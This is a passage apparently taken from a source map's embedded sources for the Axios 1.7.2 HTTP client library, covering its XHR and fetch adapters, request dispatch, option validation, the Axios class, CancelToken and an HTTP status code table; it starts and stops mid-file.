headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n  http: httpAdapter,\n  xhr: xhrAdapter,\n  fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n  if (fn) {\n    try {\n      Object.defineProperty(fn, 'name', {value});\n    } catch (e) {\n      // eslint-disable-next-line no-empty\n    }\n    Object.defineProperty(fn, 'adapterName', {value});\n  }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n  getAdapter: (adapters) => {\n    adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n    const {length} = adapters;\n    let nameOrAdapter;\n    let adapter;\n\n    const rejectedReasons = {};\n\n    for (let i = 0; i < length; i++) {\n      nameOrAdapter = adapters[i];\n      let id;\n\n      adapter = nameOrAdapter;\n\n      if (!isResolvedHandle(nameOrAdapter)) {\n        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n        if (adapter === undefined) {\n          throw new AxiosError(`Unknown adapter '${id}'`);\n        }\n      }\n\n      if (adapter) {\n        break;\n      }\n\n      rejectedReasons[id || '#' + i] = adapter;\n    }\n\n    if (!adapter) {\n\n      const reasons = Object.entries(rejectedReasons)\n        .map(([id, state]) => `adapter ${id} ` +\n          (state === false ? 'is not supported by the environment' : 'is not available in the build')\n        );\n\n      let s = length ?\n        (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n        'as no adapter specified';\n\n      throw new AxiosError(\n        `There is no suitable adapter to dispatch the request ` + s,\n        'ERR_NOT_SUPPORT'\n      );\n    }\n\n    return adapter;\n  },\n  adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n\n  if (config.signal && config.signal.aborted) {\n    throw new CanceledError(null, config);\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  config.headers = AxiosHeaders.from(config.headers);\n\n  // Transform request data\n  config.data = transformData.call(\n    config,\n    config.transformRequest\n  );\n\n  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n    config.headers.setContentType('application/x-www-form-urlencoded', false);\n  }\n\n  const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n  return adapter(config).then(function onAdapterResolution(response) {\n    throwIfCancellationRequested(config);\n\n    // Transform response data\n    response.data = transformData.call(\n      config,\n      config.transformResponse,\n      response\n    );\n\n    response.headers = AxiosHeaders.from(response.headers);\n\n    return response;\n  }, function onAdapterRejection(reason) {\n    if (!isCancel(reason)) {\n      throwIfCancellationRequested(config);\n\n      // Transform response data\n      if (reason && reason.response) {\n        reason.response.data = transformData.call(\n          config,\n          config.transformResponse,\n          reason.response\n        );\n        reason.response.headers = AxiosHeaders.from(reason.response.headers);\n      }\n    }\n\n    return Promise.reject(reason);\n  });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n  validators[type] = function validator(thing) {\n    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n  };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n  function formatMessage(opt, desc) {\n    return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n  }\n\n  // eslint-disable-next-line func-names\n  return (value, opt, opts) => {\n    if (validator === false) {\n      throw new AxiosError(\n        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n        AxiosError.ERR_DEPRECATED\n      );\n    }\n\n    if (version && !deprecatedWarnings[opt]) {\n      deprecatedWarnings[opt] = true;\n      // eslint-disable-next-line no-console\n      console.warn(\n        formatMessage(\n          opt,\n          ' has been deprecated since v' + version + ' and will be removed in the near future'\n        )\n      );\n    }\n\n    return validator ? validator(value, opt, opts) : true;\n  };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n  if (typeof options !== 'object') {\n    throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n  }\n  const keys = Object.keys(options);\n  let i = keys.length;\n  while (i-- > 0) {\n    const opt = keys[i];\n    const validator = schema[opt];\n    if (validator) {\n      const value = options[opt];\n      const result = value === undefined || validator(value, opt, options);\n      if (result !== true) {\n        throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n      }\n      continue;\n    }\n    if (allowUnknown !== true) {\n      throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n    }\n  }\n}\n\nexport default {\n  assertOptions,\n  validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n  constructor(instanceConfig) {\n    this.defaults = instanceConfig;\n    this.interceptors = {\n      request: new InterceptorManager(),\n      response: new InterceptorManager()\n    };\n  }\n\n  /**\n   * Dispatch a request\n   *\n   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n   * @param {?Object} config\n   *\n   * @returns {Promise} The Promise to be fulfilled\n   */\n  async request(configOrUrl, config) {\n    try {\n      return await this._request(configOrUrl, config);\n    } catch (err) {\n      if (err instanceof Error) {\n        let dummy;\n\n        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n        // slice off the Error: ... line\n        const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n        try {\n          if (!err.stack) {\n            err.stack = stack;\n            // match without the 2 top stack lines\n          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n            err.stack += '\\n' + stack\n          }\n        } catch (e) {\n          // ignore the case where \"stack\" is an un-writable property\n        }\n      }\n\n      throw err;\n    }\n  }\n\n  _request(configOrUrl, config) {\n    /*eslint no-param-reassign:0*/\n    // Allow for axios('example/url'[, config]) a la fetch API\n    if (typeof configOrUrl === 'string') {\n      config = config || {};\n      config.url = configOrUrl;\n    } else {\n      config = configOrUrl || {};\n    }\n\n    config = mergeConfig(this.defaults, config);\n\n    const {transitional, paramsSerializer, headers} = config;\n\n    if (transitional !== undefined) {\n      validator.assertOptions(transitional, {\n        silentJSONParsing: validators.transitional(validators.boolean),\n        forcedJSONParsing: validators.transitional(validators.boolean),\n        clarifyTimeoutError: validators.transitional(validators.boolean)\n      }, false);\n    }\n\n    if (paramsSerializer != null) {\n      if (utils.isFunction(paramsSerializer)) {\n        config.paramsSerializer = {\n          serialize: paramsSerializer\n        }\n      } else {\n        validator.assertOptions(paramsSerializer, {\n          encode: validators.function,\n          serialize: validators.function\n        }, true);\n      }\n    }\n\n    // Set config.method\n    config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n    // Flatten headers\n    let contextHeaders = headers && utils.merge(\n      headers.common,\n      headers[config.method]\n    );\n\n    headers && utils.forEach(\n      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n      (method) => {\n        delete headers[method];\n      }\n    );\n\n    config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n    // filter out skipped interceptors\n    const requestInterceptorChain = [];\n    let synchronousRequestInterceptors = true;\n    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n        return;\n      }\n\n      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    const responseInterceptorChain = [];\n    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    let promise;\n    let i = 0;\n    let len;\n\n    if (!synchronousRequestInterceptors) {\n      const chain = [dispatchRequest.bind(this), undefined];\n      chain.unshift.apply(chain, requestInterceptorChain);\n      chain.push.apply(chain, responseInterceptorChain);\n      len = chain.length;\n\n      promise = Promise.resolve(config);\n\n      while (i < len) {\n        promise = promise.then(chain[i++], chain[i++]);\n      }\n\n      return promise;\n    }\n\n    len = requestInterceptorChain.length;\n\n    let newConfig = config;\n\n    i = 0;\n\n    while (i < len) {\n      const onFulfilled = requestInterceptorChain[i++];\n      const onRejected = requestInterceptorChain[i++];\n      try {\n        newConfig = onFulfilled(newConfig);\n      } catch (error) {\n        onRejected.call(this, error);\n        break;\n      }\n    }\n\n    try {\n      promise = dispatchRequest.call(this, newConfig);\n    } catch (error) {\n      return Promise.reject(error);\n    }\n\n    i = 0;\n    len = responseInterceptorChain.length;\n\n    while (i < len) {\n      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n    }\n\n    return promise;\n  }\n\n  getUri(config) {\n    config = mergeConfig(this.defaults, config);\n    const fullPath = buildFullPath(config.baseURL, config.url);\n    return buildURL(fullPath, config.params, config.paramsSerializer);\n  }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n  /*eslint func-names:0*/\n  Axios.prototype[method] = function(url, config) {\n    return this.request(mergeConfig(config || {}, {\n      method,\n      url,\n      data: (config || {}).data\n    }));\n  };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n  /*eslint func-names:0*/\n\n  function generateHTTPMethod(isForm) {\n    return function httpMethod(url, data, config) {\n      return this.request(mergeConfig(config || {}, {\n        method,\n        headers: isForm ? {\n          'Content-Type': 'multipart/form-data'\n        } : {},\n        url,\n        data\n      }));\n    };\n  }\n\n  Axios.prototype[method] = generateHTTPMethod();\n\n  Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n  constructor(executor) {\n    if (typeof executor !== 'function') {\n      throw new TypeError('executor must be a function.');\n    }\n\n    let resolvePromise;\n\n    this.promise = new Promise(function promiseExecutor(resolve) {\n      resolvePromise = resolve;\n    });\n\n    const token = this;\n\n    // eslint-disable-next-line func-names\n    this.promise.then(cancel => {\n      if (!token._listeners) return;\n\n      let i = token._listeners.length;\n\n      while (i-- > 0) {\n        token._listeners[i](cancel);\n      }\n      token._listeners = null;\n    });\n\n    // eslint-disable-next-line func-names\n    this.promise.then = onfulfilled => {\n      let _resolve;\n      // eslint-disable-next-line func-names\n      const promise = new Promise(resolve => {\n        token.subscribe(resolve);\n        _resolve = resolve;\n      }).then(onfulfilled);\n\n      promise.cancel = function reject() {\n        token.unsubscribe(_resolve);\n      };\n\n      return promise;\n    };\n\n    executor(function cancel(message, config, request) {\n      if (token.reason) {\n        // Cancellation has already been requested\n        return;\n      }\n\n      token.reason = new CanceledError(message, config, request);\n      resolvePromise(token.reason);\n    });\n  }\n\n  /**\n   * Throws a `CanceledError` if cancellation has been requested.\n   */\n  throwIfRequested() {\n    if (this.reason) {\n      throw this.reason;\n    }\n  }\n\n  /**\n   * Subscribe to the cancel signal\n   */\n\n  subscribe(listener) {\n    if (this.reason) {\n      listener(this.reason);\n      return;\n    }\n\n    if (this._listeners) {\n      this._listeners.push(listener);\n    } else {\n      this._listeners = [listener];\n    }\n  }\n\n  /**\n   * Unsubscribe from the cancel signal\n   */\n\n  unsubscribe(listener) {\n    if (!this._listeners) {\n      return;\n    }\n    const index = this._listeners.indexOf(listener);\n    if (index !== -1) {\n      this._listeners.splice(index, 1);\n    }\n  }\n\n  /**\n   * Returns an object that contains a new `CancelToken` and a function that, when called,\n   * cancels the `CancelToken`.\n   */\n  static source() {\n    let cancel;\n    const token = new CancelToken(function executor(c) {\n      cancel = c;\n    });\n    return {\n      token,\n      cancel\n    };\n  }\n}\n\nexport default CancelToken;\n","const HttpStatusCode = {\n  Continue: 100,\n  SwitchingProtocols: 101,\n  Processing: 102,\n  EarlyHints: 103,\n  Ok: 200,\n  Created: 201,\n  Accepted: 202,\n  NonAuthoritativeInformation: 203,\n  NoContent: 204,\n  ResetContent: 205,\n  PartialContent: 206,\n  MultiStatus: 207,\n  AlreadyReported: 208,\n  ImUsed: 226,\n  MultipleChoices: 300,\n  MovedPermanently: 301,\n  Found: 302,\n  SeeOther: 303,\n  NotModified: 304,\n  UseProxy: 305,\n  Unused: 306,\n  TemporaryRedirect: 307,\n  PermanentRedirect: 308,\n  BadRequest: 400,\n  Unauthorized: 401,\n  PaymentRequired: 402,\n  Forbidden: 403,\n  NotFound: 404,\n  MethodNotAllowed: 405,\n  NotAcceptable: 406,\n  ProxyAuthenticationRequired: 407,\n  RequestTimeout: 408,\n  Conflict: 409,\n  Gone: 410,\n  LengthRequired: 411,\n  PreconditionFailed: 412,\n  PayloadTooLarge: 413,\n  UriTooLong: 414,\n  UnsupportedMediaType: 415,\n  RangeNotSatisfiable: 416,\n  ExpectationFailed: 417,\n  ImATeapot: 418,\n  MisdirectedRequest: 421,\n  UnprocessableEntity: 422,\n  Locked: 423,\n  FailedDependency: 424,\n  TooEarly: 425,\n  UpgradeRequired: 426,\n  PreconditionRequired: 428,\n  TooManyRequests: 429,\n  RequestHeaderFieldsTooLarge: 431,\n  UnavailableForLegalReasons: 451,\n  InternalServerError: 500,\n  NotImplemented: 501,\n  BadGateway: 502,\n  ServiceUnavailable: 503,\n  GatewayTimeout: 504,\n  HttpVersionNotSupported: 505,\n  VariantAlsoNegotiates: 506,\n  InsufficientStorage: 507,\n  LoopDetected: 508,\n  NotExtended: 510,\n  NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n  HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from 